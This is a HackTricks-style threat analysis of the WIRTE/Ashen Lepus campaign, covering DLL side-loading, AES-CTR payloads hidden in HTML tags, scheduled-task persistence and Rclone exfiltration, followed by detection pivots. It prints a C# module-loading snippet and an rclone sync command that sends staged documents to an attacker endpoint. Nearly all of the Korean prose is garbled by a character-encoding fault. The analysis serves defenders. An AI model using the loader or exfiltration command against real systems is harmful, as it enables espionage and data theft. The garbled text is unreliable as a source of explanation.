Advanced DLL Side-Loading With HTML-Embedded Payload Staging

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ „์ˆ  ๊ฐœ์š”

Ashen Lepus (aka WIRTE)๋Š” ์žฌํ˜„ ๊ฐ€๋Šฅํ•œ ํŒจํ„ด์„ ๋ฌด๊ธฐํ™”ํ•˜์—ฌ DLL sideloading, staged HTML payloads, ๋ฐ modular .NET backdoors๋ฅผ ์—ฐ์‡„์ ์œผ๋กœ ๊ฒฐํ•ฉํ•จ์œผ๋กœ์จ ์ค‘๋™ ์™ธ๊ต ๋„คํŠธ์›Œํฌ์— ์ง€์†์ ์œผ๋กœ ์ƒ์ฃผ(persist)ํ–ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์€ ๋‹ค์Œ์— ์˜์กดํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค๋ฅธ ์šด์˜์ž๋„ ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค:

  • Archive-based social engineering: ์ •์ƒ์ ์ธ PDF๊ฐ€ ๋Œ€์ƒ์—๊ฒŒ ํŒŒ์ผ ๊ณต์œ  ์‚ฌ์ดํŠธ์—์„œ RAR ์•„์นด์ด๋ธŒ๋ฅผ ๋‚ด๋ ค๋ฐ›๋„๋ก ์ง€์‹œํ•œ๋‹ค. ์•„์นด์ด๋ธŒ์—๋Š” ์‹ค์ œ์ฒ˜๋Ÿผ ๋ณด์ด๋Š” ๋ฌธ์„œ ๋ทฐ์–ด EXE, ์‹ ๋ขฐ๋˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ด๋ฆ„์„ ๋”ด ์•…์„ฑ DLL(์˜ˆ: netutils.dll, srvcli.dll, dwampi.dll, wtsapi32.dll), ๊ทธ๋ฆฌ๊ณ  ๋ฏธ๋ผ Document.pdf๊ฐ€ ๋ฒˆ๋“ค๋กœ ํฌํ•จ๋œ๋‹ค.
  • DLL search order abuse: ์‚ฌ์šฉ์ž๊ฐ€ EXE๋ฅผ ๋”๋ธ”ํด๋ฆญํ•˜๋ฉด Windows๋Š” ํ˜„์žฌ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ DLL import๋ฅผ ํ•ด๊ฒฐํ•˜๊ณ , ์•…์„ฑ ๋กœ๋”(AshenLoader)๊ฐ€ ์‹ ๋ขฐ๋œ ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์—์„œ ์‹คํ–‰๋˜๋Š” ๋™์•ˆ ๋ฏธ๋ผ PDF๊ฐ€ ์—ด๋ ค ์˜์‹ฌ์„ ํ”ผํ•œ๋‹ค.
  • Living-off-the-land staging: ์ดํ›„ ๋ชจ๋“  ๋‹จ๊ณ„(AshenStager โ†’ AshenOrchestrator โ†’ modules)๋Š” ํ•„์š”ํ•  ๋•Œ๊นŒ์ง€ ๋””์Šคํฌ์— ๋‚จ๊ธฐ์ง€ ์•Š๊ณ , ํ‰๋ฒ”ํ•ด ๋ณด์ด๋Š” HTML ์‘๋‹ต ๋‚ด๋ถ€์— ์ˆจ๊ฒจ์ง„ ์•”ํ˜ธํ™”๋œ ๋ธ”๋กญ์œผ๋กœ ์ „๋‹ฌ๋œ๋‹ค.

๋‹ค๋‹จ๊ณ„ Side-Loading ์ฒด์ธ

  1. Decoy EXE โ†’ AshenLoader: EXE๋Š” AshenLoader๋ฅผ side-loadํ•˜๊ณ , AshenLoader๋Š” ํ˜ธ์ŠคํŠธ ์ •์ฐฐ์„ ์ˆ˜ํ–‰ํ•œ ๋’ค ์ž์ฒด๋ฅผ AES-CTR๋กœ ์•”ํ˜ธํ™”ํ•˜์—ฌ token=, id=, q=, ๋˜๋Š” auth= ๊ฐ™์€ ํšŒ์ „ํ•˜๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜ ๋‚ด๋ถ€์— POST๋กœ ์ „์†กํ•˜๊ณ  /api/v2/account ๊ฐ™์€ API์ฒ˜๋Ÿผ ๋ณด์ด๋Š” ๊ฒฝ๋กœ๋กœ ๋ณด๋‚ธ๋‹ค.
  2. HTML extraction: C2๋Š” ํด๋ผ์ด์–ธํŠธ IP๊ฐ€ ๋ชฉํ‘œ ์ง€์—ญ์œผ๋กœ ์ง€๋ฆฌ์  ์œ„์น˜๊ฐ€ ํ™•์ธ๋˜๊ณ  User-Agent๊ฐ€ ์ž„ํ”Œ๋ž€ํŠธ์™€ ์ผ์น˜ํ•  ๋•Œ๋งŒ ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ๋…ธ์ถœํ•ด ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ํšŒํ”ผํ•œ๋‹ค. ๊ฒ€์‚ฌ์— ํ†ต๊ณผํ•˜๋ฉด HTTP ๋ณธ๋ฌธ์—๋Š” Base64/AES-CTR๋กœ ์•”ํ˜ธํ™”๋œ AshenStager ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๋‹ด๊ธด <headerp>...</headerp> ๋ธ”๋กญ์ด ํฌํ•จ๋œ๋‹ค.
  3. Second sideload: AshenStager๋Š” wtsapi32.dll์„ importํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ์ •์ƒ์ ์ธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ๋ฐฐํฌ๋œ๋‹ค. ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์ฃผ์ž…๋œ ์•…์„ฑ ๋ณต์‚ฌ๋ณธ์€ ๋” ๋งŽ์€ HTML์„ ๊ฐ€์ ธ์˜ค๋ฉฐ, ์ด๋ฒˆ์—๋Š” <article>...</article>์„ carveํ•˜์—ฌ AshenOrchestrator๋ฅผ ๋ณต์›ํ•œ๋‹ค.
  4. AshenOrchestrator: Base64 JSON config๋ฅผ ๋””์ฝ”๋“œํ•˜๋Š” modular .NET ์ปจํŠธ๋กค๋Ÿฌ๋‹ค. config์˜ tg ๋ฐ au ํ•„๋“œ๋Š” ์ด์–ด๋ถ™์ด๊ฑฐ๋‚˜ ํ•ด์‹œ๋˜์–ด AES ํ‚ค๋ฅผ ๋งŒ๋“œ๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋ฉฐ, ์ด ํ‚ค๋Š” xrk๋ฅผ ๋ณตํ˜ธํ™”ํ•œ๋‹ค. ๋ณตํ˜ธํ™”๋œ ๋ฐ”์ดํŠธ๋Š” ์ดํ›„ ๊ฐ€์ ธ์˜ค๋Š” ๋ชจ๋“  ๋ชจ๋“ˆ ๋ธ”๋กญ์— ๋Œ€ํ•ด XOR ํ‚ค๋กœ ์‚ฌ์šฉ๋œ๋‹ค.
  5. Module delivery: ๊ฐ ๋ชจ๋“ˆ์€ ํŒŒ์„œ๋ฅผ ์ž„์˜์˜ ํƒœ๊ทธ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•˜๋Š” HTML ์ฃผ์„์„ ํ†ตํ•ด ๊ธฐ์ˆ ๋˜์–ด <headerp> ๋˜๋Š” <article>๋งŒ ์ฐพ๋Š” ์ •์  ๊ทœ์น™์„ ๊นจํŠธ๋ฆฐ๋‹ค. ๋ชจ๋“ˆ์—๋Š” persistence(PR*), uninstallers(UN*), reconnaissance(SN), screen capture(SCT), file exploration(FE) ๋“ฑ์ด ํฌํ•จ๋œ๋‹ค.

HTML ์ปจํ…Œ์ด๋„ˆ ํŒŒ์‹ฑ ํŒจํ„ด

var tag = Regex.Match(html, "<!--\s*TAG:\s*<(.*?)>\s*-->").Groups[1].Value;
var base64 = Regex.Match(html, $"<{tag}>(.*?)</{tag}>", RegexOptions.Singleline).Groups[1].Value;
var aesBytes = AesCtrDecrypt(Convert.FromBase64String(base64), key, nonce);
var module = XorBytes(aesBytes, xorKey);
LoadModule(JsonDocument.Parse(Encoding.UTF8.GetString(module)));

Even if defenders block or strip a specific element, the operator only needs to change the tag hinted in the HTML comment to resume delivery.

์•”ํ˜ธํ™” ๋ฐ C2 ํ•˜๋“œ๋‹

  • AES-CTR everywhere: current loaders embed 256-bit keys plus nonces (e.g., {9a 20 51 98 ...}) and optionally add an XOR layer using strings such as msasn1.dll before/after decryption.
  • Recon smuggling: ์—ด๊ฑฐ๋œ ๋ฐ์ดํ„ฐ์— ์ด์ œ Program Files ๋ชฉ๋ก์ด ํฌํ•จ๋˜์–ด ๊ณ ๊ฐ€์น˜ ์•ฑ์„ ์‹๋ณ„ํ•˜๊ณ  ํ˜ธ์ŠคํŠธ๋ฅผ ๋– ๋‚˜๊ธฐ ์ „์— ํ•ญ์ƒ ์•”ํ˜ธํ™”๋œ๋‹ค.
  • URI churn: ์ฟผ๋ฆฌ ๋งค๊ฐœ๋ณ€์ˆ˜์™€ REST ๊ฒฝ๋กœ๊ฐ€ ์บ ํŽ˜์ธ๋งˆ๋‹ค ํšŒ์ „ํ•œ๋‹ค (/api/v1/account?token= โ†’ /api/v2/account?auth=), ์ด์— ๋”ฐ๋ผ ์ทจ์•ฝํ•œ ํƒ์ง€๋Š” ๋ฌดํšจํ™”๋œ๋‹ค.
  • Gated delivery: ์„œ๋ฒ„๋Š” ์ง€๋ฆฌ์ ์œผ๋กœ ์ œํ•œ๋˜๋ฉฐ ์‹ค์ œ implants์—๋งŒ ์‘๋‹ตํ•œ๋‹ค. ์Šน์ธ๋˜์ง€ ์•Š์€ ํด๋ผ์ด์–ธํŠธ์—๋Š” ์˜์‹ฌ์Šค๋Ÿฝ์ง€ ์•Š์€ HTML์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค.

Persistence & Execution Loop

AshenStager๋Š” Windows ์œ ์ง€๊ด€๋ฆฌ ์ž‘์—…์œผ๋กœ ์œ„์žฅํ•œ ์˜ˆ์•ฝ ์ž‘์—…์„ ๋–จ์–ด๋œจ๋ฆฌ๊ณ  svchost.exe๋ฅผ ํ†ตํ•ด ์‹คํ–‰ํ•œ๋‹ค. ์˜ˆ:

  • C:\Windows\System32\Tasks\Windows\WindowsDefenderUpdate\Windows Defender Updater
  • C:\Windows\System32\Tasks\Windows\WindowsServicesUpdate\Windows Services Updater
  • C:\Windows\System32\Tasks\Automatic Windows Update

์ด ์˜ˆ์•ฝ ์ž‘์—…๋“ค์€ ๋ถ€ํŒ… ์‹œ ๋˜๋Š” ์ฃผ๊ธฐ์ ์œผ๋กœ sideloading ์ฒด์ธ์„ ์žฌ์‹คํ–‰ํ•˜์—ฌ AshenOrchestrator๊ฐ€ ๋””์Šคํฌ๋ฅผ ๋‹ค์‹œ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ ๋„ ์ตœ์‹  ๋ชจ๋“ˆ์„ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค.

Benign Sync Clients๋ฅผ ์‚ฌ์šฉํ•œ Exfiltration

Operators๋Š” ์ „์šฉ ๋ชจ๋“ˆ์„ ํ†ตํ•ด ์™ธ๊ต ๋ฌธ์„œ๋ฅผ C:\Users\Public(๋ชจ๋‘๊ฐ€ ์ฝ์„ ์ˆ˜ ์žˆ๊ณ  ์˜์‹ฌ์Šค๋Ÿฝ์ง€ ์•Š์€ ์œ„์น˜)์— ์Šคํ…Œ์ด์ง•ํ•œ ๋’ค, ํ•ฉ๋ฒ•์ ์ธ Rclone ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•ด ํ•ด๋‹น ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ์ž ์ €์žฅ์†Œ์™€ ๋™๊ธฐํ™”ํ•œ๋‹ค:

  1. Stage: ๋Œ€์ƒ ํŒŒ์ผ์„ C:\Users\Public\{campaign}\๋กœ ๋ณต์‚ฌ/์ˆ˜์ง‘.
  2. Configure: ๊ณต๊ฒฉ์ž ์ œ์–ด์˜ HTTPS ์—”๋“œํฌ์ธํŠธ(์˜ˆ: api.technology-system[.]com)๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” Rclone config ์ „์†ก.
  3. Sync: rclone sync "C:\Users\Public\campaign" remote:ingest --transfers 4 --bwlimit 4M --quiet ์‹คํ–‰ํ•˜์—ฌ ํŠธ๋ž˜ํ”ฝ์ด ์ผ๋ฐ˜์ ์ธ ํด๋ผ์šฐ๋“œ ๋ฐฑ์—…์ฒ˜๋Ÿผ ๋ณด์ด๊ฒŒ ํ•จ.

Rclone์€ ํ•ฉ๋ฒ•์ ์ธ ๋ฐฑ์—… ์›Œํฌํ”Œ๋กœ์—์„œ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋ฏ€๋กœ, ๋ฐฉ์–ด์ž๋Š” ๋น„์ •์ƒ์  ์‹คํ–‰(์ƒˆ ๋ฐ”์ด๋„ˆ๋ฆฌ, ์ด์ƒํ•œ remote, ๋˜๋Š” C:\Users\Public์˜ ๊ฐ‘์ž‘์Šค๋Ÿฐ ๋™๊ธฐํ™”)์— ์ฃผ๋ชฉํ•ด์•ผ ํ•œ๋‹ค.

Detection Pivots

  • ์„œ๋ช…๋œ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‚ฌ์šฉ์ž ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๊ฒฝ๋กœ์—์„œ DLL์„ ์˜ˆ๊ธฐ์น˜ ์•Š๊ฒŒ ๋กœ๋“œํ•˜๋Š” ๊ฒฝ์šฐ ๊ฒฝ๋ณด(Procmon ํ•„ํ„ฐ + Get-ProcessMitigation -Module), ํŠนํžˆ DLL ์ด๋ฆ„์ด netutils, srvcli, dwampi, ๋˜๋Š” wtsapi32์™€ ์ค‘๋ณต๋  ๋•Œ์— ์ฃผ์˜.
  • ์˜์‹ฌ์Šค๋Ÿฌ์šด HTTPS ์‘๋‹ต์—์„œ ํŠน์ดํ•œ ํƒœ๊ทธ ์•ˆ์— ํฌํ•จ๋œ ํฐ Base64 ๋ธ”๋ž ๋˜๋Š” <!-- TAG: <xyz> --> ์ฃผ์„์œผ๋กœ ๋ณดํ˜ธ๋œ ๋‚ด์šฉ์„ ๊ฒ€์‚ฌ.
  • svchost.exe๋ฅผ ์„œ๋น„์Šค๊ฐ€ ์•„๋‹Œ ์ธ์ˆ˜๋กœ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ dropper ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์˜ˆ์•ฝ ์ž‘์—…์„ ์‚ฌ๋ƒฅ.
  • IT ๊ด€๋ฆฌ ์œ„์น˜ ๋ฐ–์—์„œ ๋‚˜ํƒ€๋‚˜๋Š” Rclone ๋ฐ”์ด๋„ˆ๋ฆฌ, ์ƒˆ๋กœ์šด rclone.conf ํŒŒ์ผ, ๋˜๋Š” C:\Users\Public ๊ฐ™์€ ์Šคํ…Œ์ด์ง• ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ๊ฐ€์ ธ์˜ค๋Š” ๋™๊ธฐํ™” ์ž‘์—…์„ ๋ชจ๋‹ˆํ„ฐ๋ง.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ